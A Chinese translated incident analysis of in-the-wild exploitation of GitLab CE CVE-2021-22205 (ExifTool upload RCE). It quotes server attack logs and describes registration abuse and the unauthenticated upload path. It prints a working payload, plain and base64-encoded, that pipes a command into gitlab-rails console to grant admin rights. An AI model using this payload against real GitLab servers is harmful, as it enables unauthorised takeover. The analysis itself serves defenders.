查看原文
其他

详细分析GitLab CE 已遭在野利用漏洞 (CVE-2021-22205)

代码卫士 2022-05-20

 聚焦源代码安全,网罗国内外最新资讯!

作者:Piergiovanni Cipolloni

编译:代码卫士


HN Security 团队指出,几个月前,客户在自己的 GitLab CE 服务器上发现了两个可疑的具有管理员权限的用户账户,并邀请研究人员进行调查。如下是调查结果。

(1)   在2021年6月至7月间,两名用户注册了看似随机的用户名。


这种随机用户名是可能存在的,因为该GitLab CE版本默认允许用户进行注册。此外,在默认情况下注册阶段不会验证邮箱地址,因此新建用户在无需任何后续步骤的情况下可自动登录。另外也不会向管理员发送任何通知。


(2)几天后,攻击者登录到 GitLab 服务器,这两个新建用户显然并未执行其它任何操作。

因此,研究员决定调查攻击者如何将权限提升至管理员。好在日志有备份,于是研究员从如下日志文件中找到了利用步骤的第一批踪迹:

/var/log/gitlab/nginx/gitlab-access.log/var/log/gitlab/nginx/access.log

攻击者执行的操作如下:

(a)   用户注册和登录:

"GET /users/sign_up HTTP/1.1" 302 122 "" "python-requests/2.25.1" "GET /users/sign_in HTTP/1.1" 200 4042 "" "python-requests/2.25.1" "GET /users/sign_in HTTP/1.1" 200 4043 "" "python-requests/2.25.1" "POST /users HTTP/1.1" 302 113 "" "python-requests/2.25.1" "GET /dashboard/projects HTTP/1.1" 200 8185 "" "python-requests/2.25.1" "GET /users/sign_in HTTP/1.1" 200 4043 "" "python-requests/2.25.1" "POST /users/sign_in HTTP/1.1" 302 95 "" "python-requests/2.25.1" "GET / HTTP/1.1" 200 8068 "" "python-requests/2.25.1"


(b)   滥用 GitLab API,列出所有项目(包括私密项目在内):

"GET /api/v4/projects/?simple=yes&private=true&per_page=1000&page=1 HTTP/1.1" 200 2760 "" "python-requests/2.25.1"


(c)   为清单中的第一个项目列出问题,之后上传相关附件:

"GET /user/project HTTP/1.1" 200 13567 "" "python-requests/2.25.1" "GET /user/project/issues/new HTTP/1.1" 200 10317 "" "python-requests/2.25.1" "POST /user/project/uploads HTTP/1.1" 422 24 "https://git.victim/user/project/issues/new" "python-requests/2.25.1"


这就是全部内容。攻击者并未执行其它操作。

附件上传引起了研究人员的注意,因此他们在实验室设置了一个 GitLab 服务器,试图复现在野观察到的。同时,研究人员发现最近发布的 CVE-2021-22205 的 exploit 滥用上传功能远程执行任意 OS 命令。该漏洞位于用于删除图像中元数据的开源工具 ExifTool 中,由于未能解析嵌入在所上传图像中的某些元数据,因此导致代码执行后果。

GitLab 由很多组件(Redis、Nginx等)组成。处理上传的组件时 gitlab-workhorse,它会在将最终附件上传到 Rails 之前调用 ExifTool。


于是研究人员继续深挖,结果发现Workhorse 日志中的两次上传失败证据。之后研究人员在实验室服务器上运行了公开发布的 exploit,并在日志中发现了非常类似的模式。

{"correlation_id":"cp1VzPnRzE4","filename":"exploit.jpg","level":"info","msg":"running exiftool to remove any metadata","time":"2021-09-20T10:30:04+02:00"}{"command":["exiftool","-all=","--IPTC:all","--XMP-iptcExt:all","-tagsFromFile","@","-ResolutionUnit","-XResolution","-YResolution","-YCbCrSubSampling","-YCbCrPositioning","-BitsPerSample","-ImageHeight","-ImageWidth","-ImageSize","-Copyright","-CopyrightNotice","-Orientation","-"],"correlation_id":"cp1VzPnRzE4","error":"exit status 1","level":"info","msg":"exiftool command failed","stderr":"Error: Writing of this type of file is not supported - -\n","time":"2021-09-20T10:30:24+02:00"}{"correlation_id":"cp1VzPnRzE4","error":"error while removing EXIF","level":"error","method":"POST","msg":"error","time":"2021-09-20T10:30:24+02:00","uri":"/uploads/user"}


遗憾的是,ExifTools 未能保存所上传图像,因此无法轻易识别出真正执行的payload。

公开exploit 使用的 payload 可执行反向shell,而攻击客户的exploit 仅仅是将两个此前注册用户的权限提升至管理员权限。那么攻击者使用的 payload 是什么样的?阅读了GitLab 文档后,研究人员写出如下一行代码,可用于从命令行操纵用户资料(包括权限):

echo 'user = User.find_by(username: "czxvcxbxcvbnvcxvbxv");user.admin="true";user.save!' | gitlab-rails console
/usr/bin/echo dXNlciA9IFVzZXIuZmluZF9ieSh1c2VybmFtZTogImN6eHZjeGJ4Y3ZibnZjeHZieHYiKTt1c2VyLmFkbWluPSJ0cnVlIjt1c2VyLnNhdmUh | base64 -d | /usr/bin/gitlab-rails console


研究人员使用如上命令作为公开exploit 的payload,并成功获取了此前他们所创建的两名用户的管理员权限。

因此看似是提权漏洞,实际上是RCE漏洞。

在分析过程中,研究人员还发现了值得关注的几个点。似乎整个利用进程可精简为两个请求:在默认 GitLab 安装(13.10.2 及之前版本)下,无需滥用 APT 找到合法项目,也无需设立任何问题,而最重要的是无需进行任何验证:


(获取 "csrf-token"/"authenticity-token” 的第一个请求)





(执行未认证恶意上传的第二个请求)


GitLab CE 最新版本(目前是14.4.0)中并不存在本文中提到的所有漏洞(ExifTool、API 滥用、用户注册等)。
















推荐阅读
数据保护法规可被滥用于人肉 GitLab 用户和接管账户
GitLab Elasticsearch 私密群组数据泄露 bug 值3000美元
我发现了 GitLab 的一个 RCE 漏洞,获得奖金2万美元
速查是否中招!攻击者正在擦除 GitHub 和 GitLab 仓库还有 Bitbucket并实施勒索!
Waydev 客户的GitHub 和 GitLab OAuth 令牌被盗,源代码遭访问





原文链接

https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/


题图:Pixabay License



本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。




奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。

    觉得不错,就点个 “在看” 或 "赞” 吧~



您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存